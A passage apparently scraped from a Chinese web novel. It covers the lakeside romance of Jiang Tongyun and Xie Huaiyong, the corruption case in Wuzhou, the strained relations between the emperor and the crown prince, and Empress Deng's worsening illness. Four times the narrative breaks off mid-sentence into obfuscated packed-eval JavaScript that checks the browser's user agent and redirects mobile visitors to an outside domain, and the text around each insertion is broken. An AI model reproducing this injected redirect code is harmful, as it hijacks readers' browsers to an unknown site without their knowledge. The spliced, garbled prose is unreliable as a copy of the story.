姜同云盯着晃动不止的灯笼,突然开口问道:“谢怀雵,你在边境的时候是不是也遇到过很多次,像今天晚上这样的危险局面?” 谢怀雵的脚步顿了一下。 和他在边境经历过的那些事情相比,其实今晚那两次根本都算不上是危险。 但他想起了姜同云伏在自己怀里无声落泪的情形。 他不忍心看她再哭。 于是谢怀雵笑了:“打仗嘛,难免是会遇到危险。不过真打起来的时候很少,我在边境的大部分时间里,都还是很开心的。” “边境军民一体。百姓们农闲时会跟着一起训练,军中无事的时候,邢国公也会领着我们去附近的农田里帮忙干活。” “我刚过去的时候什么也不会,但老以为自己天下第一厉害。结果第一次去割稻子的时候差点割到自己的脚脖子。后面又被拉着干了两天活,才彻底老实。” 说着,谢怀雵摊开握着姜同云的那只手:“你看,我手上现在还有那时候下地干活磨出来的茧子呢。” 姜同云摸了摸他的手指和掌心:“你先前说你在军中,什么杂七杂八的都学过一点。我以为你会按摩已经很厉害了,没想到竟然连下地种田都要学。” “可不止呢。”谢怀雵笑了,“我甚至还会烧火做饭。” 姜同云忍不住瞪大了眼睛:“这个都会?从生火到做饭,全部都会?” 如果谢怀雵光是会做饭,姜同云还不觉得有什么,毕竟她自己也是会做饭的。但从现代穿来,习惯了煤气灶电磁炉的她是真的学不会烧古代的土灶。 她也不是没认真学过,但学不会就是学不会。在她有一次生火生出了一屋子的烟,让外祖父和外祖母以为她烧了厨房之后,她就认清现实,彻底放弃了掌握这门技能的念头。 听到姜同云的问题,谢怀雵笑着答道:“是啊。我刚被邢国公找回去的时候挺不服管教的,老想着要去前线杀敌。邢国公直接把我送去做了个伙头兵,说等我学会做饭了才能正式加入他麾下。” “我跟着干了三个月,从垒灶学起,到后面烧火、切菜、做饭,全都学了一遍,甚至还学了一些简单的白案功夫。” “就是因为灶房里的事情学得太顺,我才觉得自己无所不能。结果下了一回地,结结实实地吃了一个教训。” 说话间,两人已经走到了湖边。 临岸处系着一只挂了灯的小船,是谢怀雵提前让人准备好放在这儿的。 谢怀雵先上了船,将手中灯笼挂到船上,随后转身牵住姜同云双手,扶着她慢慢登船。 等两人都在相对坐定后,谢怀雵解开系绳,摇着船桨缓缓向湖心驶去。 姜同云伸手接起一捧湖水。清凉的湖水裹着月光,欢快地顺着她的指缝淌走,顺便带走了她烦闷的心绪。 她看着谢怀雵操作小船,灵活地避开湖上两处造景用的山石,稳稳当当地朝着明月倒悬处行进,便笑着打趣道:“你这划船的本事,不会也是在边境学的吧。” 话一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916129|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,她就想起一件事来:“我倒忘了。含昭跟我说过的,你去边境前,就曾经带着宗室子弟,连着两次拿下了宫里龙舟赛的头名。” 看她终于露出了笑容,谢怀雵也觉得高兴起来:“说起划船,我在边境还跟几个将领比过呢。他们都以为我不会,争着跟我打赌,结果被我骗走了偷藏的全部好酒。” “事后他们还想耍赖。我用赢来的酒做报酬,请邢国公帮我一起去要债,才没让他们给赖过去。” 听到这里,姜同云笑叹一声:“我感觉,你在边境的时候,比在金陵快乐多了。” “对我而言,金陵确实不如边境。但如果我没有回到金陵,那我可能也就遇不到你了。” “所以我现在非常庆幸,当初的自己做了最好的选择。” 在谢怀雵轻快的语调里,小船撞入了一池月光中去。 看着那双盛满了月辉和笑意的眼睛,姜同云克制不住心中满溢的喜悦,捧着他的脸轻轻啄了一下。 鼓噪的心跳声中,姜同云贴着谢怀雵的耳朵,悄声道:“我们……吧。” 那两个一触即散的字撞在谢怀雵心上,让他的心跳蓦然漏了一拍:“……现在吗?” “对。”姜同云用轻柔但坚定的语气重复了一遍,“就现在。就在这儿。” 小船晃起一阵波澜。 寂静的夜色中,夏蝉的鸣叫声突然变得清晰起来。 不知为何,今晚的蝉鸣听起来有些杂乱无章,时不时地还会打个磕巴。 被笼在阴影里的姜同云觉得有些不太对劲。迟疑片刻后,她小心翼翼地问道:“谢怀雵,你是不是……不会啊?” 本就有点放不开手的谢怀雵这下彻底僵住了。 沉默了好一会儿,他才颓败地把头埋进姜同云颈间,小声咕哝道:“我已经在自学了。就是没想到……” 没想到学习进度赶不上姜同云心情变化的速度。 “我以为——”姜同云憋下了后半句话,忍着笑捏了捏谢怀雵的后颈。 “好吧,问题不大。”她轻轻推了谢怀雵一把,示意对方挪开点位置。后者不情不愿地撑起身子,刚想再为自己争取一下,却突然被按着侧倒了下去。 湖里的月亮被骤然荡起的水波搅碎。 清脆明亮的鸟啼声中,披着月光的姜同云笑吟吟地望向谢怀雵: “那我再教你一回。” 这一次,月亮的倒影碎成了一池白霜。 停歇的夏蝉重新开始歌唱。 在逐渐交织的蝉鸣鸟啼声里,船桨被踢翻,落入水中。 “别管它。”谢怀雵扣住姜同云,哑着嗓子呢喃道,“我会带你靠岸的。” 68. 交代 姜同云醒来的时候,已经是第二天的中午了。 急需补充水分的干渴喉咙把她从睡梦中强行唤醒,困倦不已的姜同云眨巴着睁不开的眼睛,盯着床顶帷幔发了好一会儿的呆。 即使隔了好几层床帐也依旧灿烂的阳光昭示着现在的时间,但现在的姜同云只想先痛痛快快地喝上一杯水。 于是她撑着胳膊准备起身。 谁知只是这么简单的一个动作,都让她那不堪重负的腰发出了“喀拉喀拉”的哀鸣。 姜同云捂着又酸又痛的腰倒吸一口凉气。 她小心地拨开衣摆,伸手在自己后腰上摸了两下,成功找到了让她痛苦的根源—— 一道深深的压痕。 来自昨晚那条小船的龙骨。 尽管已经垫了好几层的衣服,但长时间的接触还是给姜同云硌出了一道印子。再加上谢怀雵后面非要表现给她看的“自学成果”展示…… 总之,在多个方面的综合压迫下,姜同云的腰今天罢工了。 反正今天也已经起晚了,再丢脸一点,喊人来给自己喂水也没什么大不了的了。 顶多就是被木樨笑话两句嘛,好过再被腰疼折磨。 决定破罐破摔的姜同云放弃了起床的动作,扁扁地往床上一躺,伸手扒拉了两下床幔。 还没等她开口叫人,帷幔就先被人撩开了。 罪魁祸首堂而皇之地出现在了她的面前。 “醒了?” 看着他毫无悔意的笑容,姜同云就忍不住想起自己昨晚哭着要走的情形。 当时的谢怀雵好像也是用这个表情,哄骗她说马上就好,结果…… 姜同云愤恨地瞪了他一眼,艰难的从干哑的嗓子里挤出一点声音来:“水!” 谢怀雵探头朝外吩咐了一声,随即勾起帷幔,在床边坐了下来:“我先扶你起来。” “轻点——嘶!”姜同云还没来得及提醒,谢怀雵的手就已经抱在了她的腰上。 这一下,又让她的腰开始严正抗议。 猝不及防的谢怀雵被吓了一跳,僵着一双手不敢再动。他小心翼翼且充满愧疚地问道:“是我昨晚弄伤的?” 虽然昨天晚上的她最后确实输得一败涂地,但姜同云并不想承认这一点。于是她咬牙切齿地把锅甩给了小船:“被木板硌伤了。” 一听这话,谢怀雵立刻神情紧张地凑过去查看情况。 看到那条通红的压痕后,谢怀雵心中愧疚之意愈盛。再一想起昨晚姜同云几次三番求他回去,自己却扣着她不肯放手,最后还把人给弄哭了的事情,谢怀雵后悔极了:“是我不好。等会我拿点药酒来给你揉揉。” “下回我让人给船底铺上软垫。” 还下回?这种想逃都逃不掉的场景,姜同云可以不想再经历第二回了! 她刚想让谢怀雵闭嘴滚蛋,侍女就端着水进来了。 有外人在场,姜同云不好直接撒气,只能没好气地在谢怀雵背上拍了一巴掌:“我要喝水。” 谢怀雵连忙将她抱了起来。 这一次,他仔细地避开了姜同云的腰,小心地扶着她靠在自己身上,接过侍女拿来的温水,喂到姜同云嘴边:“慢点喝。” 喂完水后,谢怀雵又殷勤地问道:“饿不饿?你想吃点什么?我马上让人去做。” 姜同云摇了摇头:“晚点吃吧,我这会儿也坐不住。” 谢怀雵应了一声,抱着姜同云开始给她揉腰。 见他脸上还留着明显的愧疚之色,加上他按得确实也挺舒服的,姜同云就也没赶他离开,懒洋洋地靠在他肩上问道:“昨晚抓回来的那几个人怎么样了?” “已经在审了。” “黄桓倒是乖觉,昨天晚上就把所有的事情都交代了。不过另外的那些人,到现在都还没开过口。” ***** 昨夜,谢怀雵缠着自家夫人躲在湖上晒月亮的时候,黄桓被单独关在王府一间近乎密闭的屋子里接受讯问。 被人赃并获抓了个现行的黄桓早就放弃了抵抗。谢怀雵派去的人问什么,他就老老实实地答什么。他不仅痛快地交代了自己这些年所犯的罪行,还把婺州其他牵涉其中的官员也一并抖落了出来。 除此之外,黄桓也把他所掌握的、有关那些“商队”成员的信息全都说了出来。 “领头的那个人,自称是叫张集,所用的路引上写的也是这个名字。不过我能确定,这是一个假名。” 因为黄桓认罪态度积极,所以齐王府的人没有为难他,让他好好地坐在椅子上答话,还给他倒了杯热水。黄桓就捧着这杯水,边喝边讲。 “他们刚来婺州,尝试跟我接触的时候,有一回宴席上,他的一个下属喝多了酒,错口叫了他一句‘詹大哥’,他下意识地回头了。” 负责讯问的王府吏员连忙在纸上记下了“詹姓”二字。 以领头那人的身手和胆识来看,他在晋朝绝不会是无名之辈。有个姓氏的线索,后续查证自然能省下不少力气。 “他们队伍里的成员换过一些,不过有几个应该是固定的,至少我跟他们接触的这三次里这几个人都是在的。”说着,黄桓形容了一下那几个固定成员的外貌特征。 这也是条不错的线索。审问那些人的时候可以更有侧重点一些。 “还有。这次他们的队伍里带了一名弓弩技师。”黄桓顿了顿,仔细回忆一番才继续说道,“天色太暗,我没看清楚那名技师长什么模样。不过那人年纪偏大,还留了一把胡子。领头的人管他叫‘莫师傅’。” 王府吏员运笔如飞,将黄桓所说内容逐字记录。 黄桓主动交代完毕后,负责问询的人又仔细询问了一遍他从开始跟商队接触到前后三次交易的详细内容,并将他所能回忆起的所有细节都记录在案。 黄桓杂杂拉拉地说了快有一个时辰,终于把自己知道的事情全都交代完了。 他喝完杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922042|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中已然变凉的水,苦笑着说道:“我已经把我知道的全都说出来了。齐王殿下能不能看在我今晚也算是将功补过的份上,替我在陛下面前求求情,放过我妻儿一命?” 审讯者面色一肃:“黄桓,你所犯之罪等同叛国,已不是齐王殿下可以插手说情的。你和你的家人到底应该如何判决,全要看陛下的意思。” 听到这话,黄桓的脸色彻底灰败下来。 本就是在勉力保持的仪态此刻再也无法维系。黄桓像是被猛然抽去了脊骨一样垮塌下去。 悔恨的泪水砸进了空空如也的茶杯中。 ***** 姜同云靠在谢怀雵身上听完了黄桓交代的全部内容。 “既然另一帮人不肯开口,那就先把黄桓抖出来的婺州官员控制起来吧。不然等他们发现黄桓失踪,肯定要再闹出点什么事情来。” 听她这么说,谢怀雵笑着点了点头:“夫人所言极是。所以今早门一开,我就让人去把那些官员的住处都给围了。现在他们全都被控制在了自己家里。” “他们这么老实,都没有试图反抗吗?”姜同云讶异地问道。 “自然不是。有人还说我是要造反,想调动婺州守军来跟王府卫兵对抗。” 姜同云的眉头皱了一下,但很快又舒展开来。她笑着说道:“恐怕打死他们也没想到,陛下偷偷给你送了可以控制婺州守军的密旨和虎符。” 虽然密旨里只写了不许婺州守军离开军营,没有把辖制权一并交给谢怀雵。但有这两样东西在,至少婺州的那些官员就没法利用守军生乱了。 谢怀雵颔首:“是。我提前派人去了军营,用密旨和虎符接管了这一万守军。还顺手抓了两个试图来调动军队的人。” 按照越朝的军队规制,只有一州刺史才有本州守军的调兵权限,而且非特殊情况军队不得擅动。 谢怀雵这顺手的一抓,那两个倒霉蛋擅权的罪行是跑不掉了。 “不过现在,婺州的情况也是比较棘手的。” 姜同云只停顿了一会儿,就明白了谢怀雵说的“棘手”在什么地方:“这次牵涉到的人实在太多了。” 根据黄桓交代的情况,单单是这婺州城里就有将近七成的官员和吏员有过非法之行。官位排在前头的那些人几乎全军覆没,而且大部分人所犯之罪还不轻,需要上报朝廷处理。 谢怀雵倒不怕得罪人。只是在这种情况下,婺州官府很有可能要因为人手不足,而直接停摆了。 整顿婺州官场固然要紧,但也不能完全不顾婺州百姓,任由官府衙门直接关闭吧。 想到这里,姜同云抬头看向谢怀雵:“你打算怎么办?” “人,肯定是要抓的,罚也必须都要罚。只不过个中分寸,需要把握一下。” 姜同云品了品他这句话:“……你是想,把罪名比较轻的那些人先放出去干活?” 谢怀雵笑着握住了姜同云的手:“还是夫人懂我。” 69. 探病 六月下旬,齐王谢怀雵和被派去调查婺州贪腐案的御史程茂典一同上奏,揭露了一起牵涉婺州近七成官员的惊天大案。 因有涉案官员签字画押后的认罪供述和相应的实证在手,加上陛下也旗帜鲜明地表示了重罚的态度,朝臣们根本没有争论质疑此事的真假,省下时间直接开始商量如何处理后续事件。 程茂典提出,既然涉案人员已经全部被扣押,不妨先将审理惩处的事情放上一放,当务之急还是应该先把婺州空缺出来的官职补上。 陛下深以为然,当即拿了一份名单出来,要吏部安排这些人尽快赶去婺州赴任,余下的一些空缺则由吏部根据往年地方上官员们的考核情况酌情递补。 见陛下连补要职的人都已经想好,朝臣们哪里还看不出来,这次婺州的案件完全是在陛下掌控之内的。那些和婺州官场有过联系、原本想要借机攻击谢怀雵越权的人自然也不敢再开口,缩起脖子老老实实地做人。 这场颠覆了婺州官场的大案,居然就这样进入了平顺有序的收尾阶段。 到七月中的时候,陛下指派的替补官员已经陆续就位。余下的空缺,吏部也已经拟出了候选人供陛下挑选。 替黄桓当了大半个月刺史的谢怀雵将一应事务交接完毕,看婺州逐渐恢复正常秩序,心里总算是松了一口气。 接下去,他就可以着手处理移交这批被扣押的犯官的事情了。 按陛下的意思,那些职位低、涉案情节不太严重的官员,就都交给新上任的婺州刺史处理。余下以黄桓为首的这批主要人员极其家人,则要一起押解进京受审。 因临近中秋,陛下干脆就让谢怀雵负责这次押送,正好也能让他和姜同云顺带回京一起过节。 于是乎,才来婺州三个多月的夫妻俩又重新收拾好东西,出发回金陵去了。 这次回去,队伍里带着不老少的犯人,自然没法坐船,只能老老实实走陆路。而且因为人多,路上走的也慢。等他们回到金陵时已经快进入八月中旬了。 骨头架子都快坐散架的姜同云刚一回到金陵的齐王府内,还没来得及休息,就在王府管事那里听到了一个不太好的消息。 皇后娘娘又病倒了。 而且她这次的病情来势汹汹,前两日甚至都昏迷不醒了。 知道邓皇后病得这么重,姜同云自然不能坐视不理。于是她在回来当天就给宫里递了牌子,得到入宫允许后,第二天就跟着谢怀雵一起进宫去了。 谢怀雵要先去紫宸殿找陛下汇报情况,姜同云就独自往椒房殿去了。 去年还热热闹闹的椒房殿,如今一派肃穆。 宫人们的脸上都挂着遮掩不住的忧愁之色,说话做事时也有意放低声音,生怕打扰到皇后娘娘休息。 姜同云被孟姑姑带着,一路进了邓皇后居住的寝殿内。 这不是姜同云第一次进来寝殿。去年邓皇后病中,她也曾几次来这里探望。但这次来,她明显觉得,这里的氛围不一样了。 本就幽暗的内室如今更是沉郁,满屋子的烛火都没法驱散那种凝滞冷肃的气氛。 姜同云走到床前的时候,谢含昭刚刚给邓皇后喂完一碗药。 见到她来,小姑娘的眼眶立刻就红了:“姜姐姐……” 只是三个多月不见,谢含昭居然瘦得脸颊都有几分凹陷了。 原本神采飞扬的女孩现在看上去分外憔悴,眼下两道青黑挂在白皙的脸上,更是显得她疲惫不已。 听到谢含昭叫人,躺在床上的邓皇后微微抬了抬手:“齐王妃来了?” 姜同云上前两步。 第一眼看到陷在靠枕里的邓皇后时,姜同云甚至有点不太敢认。 如果说谢含昭只是清减了几分,那邓皇后完全就是瘦脱相了。 她原先丰润的脸颊现在已经完全陷了下去,两边颧骨支棱出来,顶着毫无血色的苍白皮肤;两道英气的眉毛此时也耷拉了下来,压着那双不再明亮的眼睛。 邓皇后挪动眼珠,看向怔愣的姜同云,艰难地露出了一个笑容来:“坐。” 姜同云鼻子一酸,匆匆垂下头去,盖住自己眼里的泪意:“多谢皇后娘娘。” 邓皇后抬了抬嘴角:“你们这些孩子,来看我的时候怎么都哭丧个脸的。我真的好多了。” 姜同云挤出一个笑来:“我只是好久没见到您,太想您了。” “是好久了……”邓皇后顿了顿,沉沉地吸了两口气才继续说道,“你和怀雵在婺州过得可好?” “好,都很好。”姜同云极力克制,才没让自己的声音变了调,“他说等会就过来看您呢。” 邓皇后微微摇了摇头:“我没事。你们昨天才回来,今天还累着呢,都早些回去休息吧。” 说着,她抬起手掌晃了晃:“含昭,你带你姜姐姐去外头坐会儿吧。” 谢含昭低低地应了一声。 姜同云看着邓皇后枯瘦的手腕在宽松了许多的袖管里打晃,眼泪几乎就要滚落下来。 她连忙垂下眼睛,也含含糊糊地应了一声,跟着谢含昭一起退了出去。 一走出寝殿,谢含昭就扭身扑进了姜同云怀里,带着哭腔唤道:“姜姐姐!” 姜同云被她这么一叫,也控制不住自己的情绪,落下泪来。 她抱住长高了不少的小姑娘,摸着她的肩膀问道:“含昭,皇后娘娘到底怎么了?” “你们走了以后,母后都病过好几回了!” 姜同云这才知道,其实打从去年那次病后,邓皇后的身体就一直不太好,这大半年里陆陆续续病了好几回,还有一次病得都下不来床了。 只不过姜同云他们去了婺州,消息不像原先那么灵通。加上邓皇后也不想让他们担心,有意叮嘱不让别人告诉他们自己的真实情况。 谢含昭不敢让母后生气,给姜同云的信件里就只说邓皇后小病了两次,姜同云不知道皇后娘娘的身体竟然已经差到这种地步。 “上个月的时候,怀雵哥哥在婺州查出来那桩案子。因为涉及到弓弩,父皇很是恼火,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927348|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令对涉案官员严惩不贷,隐隐有株连之意。” “太子……认为这样不是圣君之道,劝了父皇好几次,希望他不要株连。但父皇的态度非常坚决。” 姜同云留意到,谢含昭这次居然没叫太子为哥哥。 她的心里有了一些不好的猜测:“……陛下和太子有些不太愉快,皇后娘娘想要从中协调,但是没有效果?” 谢含昭点了点头:“母后告诉太子,此案罪由等同叛国,是绝不可姑息的重罪。太子当时没说什么,回去后居然、居然在东宫里抚琴恸哭,还说了一些不太好的话。” 听到这里,姜同云心里一紧。 “消息传到父皇耳朵里,父皇当即震怒,以侍上不当为由,命人把当时随侍太子的几名內监全部杖毙。”谢含昭的声音颤抖起来,“虽然父皇让人封锁了消息不准外传,但这种事情是瞒不过母后的。所以母后当晚就病倒了。” 姜同云忍不住在心里叹了口气。 她倒是可以理解太子请求陛下不要株连的想法。但事情就像邓皇后说的那样,这次婺州这批官员所犯罪行实在太重,哪怕只是按律处理,这些官员的家属也都是逃不过去的。 陛下有意严惩立威也合乎情理。 本来只是观点不同,太子劝说几句,陛下心中纵有不快也不至于闹到不可收拾的地步。 但千不该万不该,太子不该在东宫里做出那种挑衅帝王权威的事情来。 后续陛下杖毙东宫內监的行为,更是把两人原就紧张的父子关系推到了更加对立的程度。 怪不得邓皇后知道以后会担心地直接病倒了。 没想到他们押送犯人的这一趟路上,金陵居然发生了这么多的事情。 姜同云思索片刻,摸了摸谢含昭的发顶:“太子现在怎么样了?” “父皇原本似乎是想处罚一下太子的。但母后这么一病,父皇为了母后身体着想,就揭过了这件事。现在父皇只亲自挑选了一批內监去补东宫的空缺,别的就没了。” 这就对了。陛下没对太子做出别的动作,所以金陵如今也还风平浪静,没闹出别的什么乱七八糟的消息。 姜同云想了想,劝慰道:“那就说明,事情还有回旋的余地。” 谢含昭抬头看向姜同云:“真的吗?” “真的。”姜同云用力点头表示肯定,“如果不是有意要保太子,陛下没有必要封锁消息。况且他到现在都没有惩罚太子,肯定也是心中犹豫,担忧拿捏不好其中分寸。” 毕竟陛下和太子之间不仅是父子,更有一层君臣关系。如果陛下真的对太子不满到了想易储的程度,他大可以用更加强硬的手段来处理这件事情。 越是珍视,才越会犹豫不决。 看着小姑娘通红的眼睛,姜同云心疼地替她擦去了泪水:“不管怎么样,皇后娘娘都要先把自己的身体养好,这样才能有力气去处理陛下和太子之间的矛盾。” “嗯!”谢含昭用力地点了点头,“我会安慰母后,让她好好养病的。” 70. 病重 正如姜同云所料,陛下到底还是顾及太子颜面的。在给东宫补上一批亲自挑选的內监后,陛下就再也没有别的动作了。 陛下觉得他这样做是对太子的宽容,但在太子看来,自己身边的內监全被换成了陛下挑选的人,这是十足的警告了。 再加上母亲明显是因为自己的过失而忧虑致病,所以在那件事后,太子一直表现得比较颓唐,还经常有意无意地躲避陛下。 只不过在陛下有意缓和矛盾、不再提及此事的情况下,父子间的关系到底没有彻底弄僵,而是保持在了一种比较微妙的平衡状态。 陛下对这种局面和太子的表现虽然不满,但想到尚在病中的发妻和为了照顾母亲而日渐消瘦的小女儿,他到底还是忍下了这一口气,由着太子刻意回避自己。 不过朝堂上的氛围多少也是受到了影响的。 朝臣们自然也嗅到了陛下和太子之间的这种不同寻常的气氛。 但朝臣们并不知道这对父子之间究竟发生了什么,更不敢贸然插手其中。所以他们只能小心翼翼地供着这两尊大佛,同时暗暗祈求邓皇后能快点康复,来帮忙救火。 可惜天不遂人愿。 虽然邓皇后的病情没再继续加重,但一直反反复复,总也没个好的时候。太医们多方会诊,又来来回回地调了好多方子,可怎么都不见起色。最后太医也只能让皇后娘娘好好休息,别再操劳过度。 为了邓皇后这病,陛下把这一年的中秋宫宴都取消掉了。 宫里的氛围不寻常,朝臣们只能更加缩起脖子做人。加上还有婺州这一桩大案要忙,大家全都埋着头处理案情相关的事宜,只求能尽量降低自己在陛下和太子面前的存在感,以免不小心做了那冤枉的出气筒。 被婺州案重新卷回金陵朝局的谢怀雵当然也在这个苦恼队列之中。 自打他从姜同云那里知道内情之后,就一直为了陛下和太子之间的事情头疼不已。 作为本案的主要参与人员之一,加上他还有一层更加特殊一些的宗室身份,谢怀雵一直有预感,他肯定会被搅和进陛下和太子这场矛盾之中。 中秋过后,案情彻底梳理完毕。 果不其然,当朝堂上开始讨论如何给以黄桓为首的一批婺州官员定罪的时候,谢怀雵就被太子叫去了东宫。 太子找谢怀雵的目的非常明确,就是询问当前婺州案的量罪情况。 虽然这桩案子,陛下最终是交给了由大理寺、刑部和御史台组成的三司使会审,但谢怀雵作为首告和实施抓捕的负责人,陛下也让他参与了会审时的旁听和监察工作。 在当前太子有意回避陛下的状态下,他不去找这三个部门的官员,而是找关系更加亲近一些的谢怀雵来了解情况还真是一点也不奇怪的。 怪只怪谢怀雵当初接下了押送这些人回京的活,没有早点装病把这烫手山芋给甩出去。 好不容易应付完了太子,谢怀雵前脚出了东宫,后脚又被陛下召去了紫宸殿里,按着他细细问了一遍方才在东宫里跟太子之间的对话。 好不容易应付完这对父子,谢怀雵只觉身心俱疲,一回府就扎进自家夫人怀里,连连叹气。 知道他在东宫和紫宸殿跑了一圈的姜同云心疼地摸了摸他的后脑勺:“陛下和太子难为你了?” “也算不上难为吧。”谢怀雵长叹一声,“太子说的酌情宽宥是针对这些犯官的家人亲属,而且也不是说就不罚,只是不想株连太多。这种要求其实也是合理的。我方才已经劝过陛下,看陛下的反应,他也是愿意抬一抬手的。” 陛下先前不肯同意,估计也是因为当时正在气头上。加上太子劝说的时候只顾着拿圣人之言说理,言辞不够委婉柔软,一下激起了陛下的逆反心来,所以才把话给说僵了。 但凡太子当时能打一打感情牌,成功率都会高上很多。 可是太子如今的性情,是被陛下自己亲手“培养”出来的。 “我这头才从东宫出来,陛下马上就把我叫走问话。陛下这样形似监视的举动,怎么能不让太子惊惶呢。” 听到这话,姜同云也跟着叹了口气:“是啊。不管换了谁,被陛下这么一弄,心里都是要担惊受怕的。” 何况陛下跟太子前头的那茬都还没彻底翻篇呢。陛下越是管控太子,只会越加重他们父子君臣之间的间隙。 只是他们之间的事情,旁人实在是没法插手干涉。唯一能劝上两句的人,此刻还躺在病床上起不来。 想到邓皇后的病情,姜同云忍不住又叹了一声:“皇后娘娘近来看着精神是好多了,但病情总是反复。自打她前两天夜里突然咳了一回血后,含昭现在连外头的消息都不敢告诉她了,生怕她又会劳神多思,影响休养。” 说到这里,姜同云摇了摇头:“再有几个月就要过年了。希望过完年后,诸事都能顺当一些吧。” 然而还没有等到过年,就先出了别的事情。 先是淮阳侯钟冀因病亡故了。 老实说,以钟冀的身体状况,钟家人对这件事情其实早就已经有了心理准备,一应物件全部齐备,流程也走得相当迅速。 办完丧事后,钟砀兄弟三人就按照父亲死前的叮嘱,一同递了丁忧的折子。 但陛下并没有允准他们的请求。 可能是出于补偿心理,陛下不仅没有卸下他们兄弟三人的官位,反而在让钟砀继承淮阳侯府的爵位后,还把他两个弟弟也各自提了一级,以示对钟家的信重。 朝堂上对陛下这一决定自然是称颂不已。但钟家人心里究竟是个什么滋味,恐怕只有他们自己知道了。 淮阳侯府这边的事情刚一结束,那边婺州案也有了最终结果。 陛下果真还是接受了谢怀雵的建议,以这些官员主动认罪、将功补过为由,没有大肆株连。 虽然涉案的官员们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931681|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑不了一个死,他们的家人也面临着抄家流放、永不复用的处罚,但到底算是保下了一命,也没有牵连到旁支亲族。 在陛下看来,他这次愿意法外开恩完全是看在太子的面子。既然他都主动给太子搭了台阶示好,那太子怎么也该顺着下来了。 他们到底是父子,哪有隔夜的仇?只要太子主动跟自己低头认个错,那先前的事情就可以彻底翻篇了。 可惜,太子心里始终藏着疙瘩。 和谢怀雵预料的一致,陛下连续几次近乎监视的行为,早就让太子感到惊惧不已。 陛下施恩减罪的做法,不仅没有让太子放心,反而还被太子当成是陛下对自己的敲打示威。 加上邓皇后一直病着,失去一大支撑的太子,心中又是懊恼又是担忧。 在这种长期紧张焦虑的氛围下,太子自己也跟着病倒了。 太子这一病,陛下是彻底地慌了。 他反思过是不是自己前段时间对太子过于严苛,也考虑过要不要主动宽慰太子以修补父子关系。可他毕竟是天子,对着既是自己儿子又是臣子的太子,他实在是拉不下这个脸来。 可要找个人来居中调和的话,放眼看去,满金陵竟然已经无人在兼具他和太子信任的同时,又有足够的身份地位,可以承担起这样艰巨的任务了。 能够在感情上出发缓和二人关系的邓皇后病得下不来床,另一个和他们有血缘关系、可能靠得住的谢怀雵,此刻也已经不在金陵了。 能让谢怀雵连年都不过就离京的,当然是非常要紧的事情。 在经过长时间的严密审问,那支被抓捕的晋朝商队终于交代出来一些事情。 结合他们先前以经商的名义走过的路线,以及这些年来各州比较异常的弓弩报损情况,再加上黄桓提供的部分线索,负责审案的大理寺官员大致推拟出了一份可能同样具有犯罪嫌疑的地方官员名单。 为了将卖弓弩这样的事情彻底杜绝,陛下根本等不及过完年,直接指派谢怀雵和程茂典一道,领了一队禁军,出发往各地巡查。 谢怀雵这一走,就是三个多月。 被留在金陵的姜同云独自过了一个冷冷清清的年。 因皇后和太子都在病中,除夕的宫宴自然也没能办成。金陵各府看着宫内风向,也把年节边的各种宴饮都给停了。 姜同云在金陵本就没几个朋友。老爷子今年没进京来;谢含昭在宫里照顾邓皇后不能出来,她也不好老是入宫去打扰。如今连赴宴社交这样的活动都暂停了,她也只能自己想办法打发时间。 好不容易等挨过了这一年,谢怀雵那边的事情终于处理完毕,踏上了返京的路途。 东宫里,太子也已经康复,开始正常上朝。 金陵城里的氛围总算是稍稍放轻松了一些。 就在姜同云以为事情总要往好的方向发展时,宫里传出来消息,邓皇后病重了。 71. 月落 今日的椒房殿,气氛比姜同云上回来的时候要更加压抑。 哪怕是站在西面的暖阁里,都能闻见从对面隔了几重帷幔的卧室里传来的、无法挥散的浓重药味。 见姜同云来,太子妃迎上来,拉住她的手低低唤了一声。 姜同云轻声问道:“皇后娘娘现在如何了?” 消瘦许多的太子妃语调低沉:“母后如今还在昏睡,太医们正在竭力救治。” 看着她眼里满布的血丝,姜同云轻轻握了握她的手:“皇后娘娘吉人天相,一定会好的。” 太子妃只微微点了点头,拉着她往里面让了让。 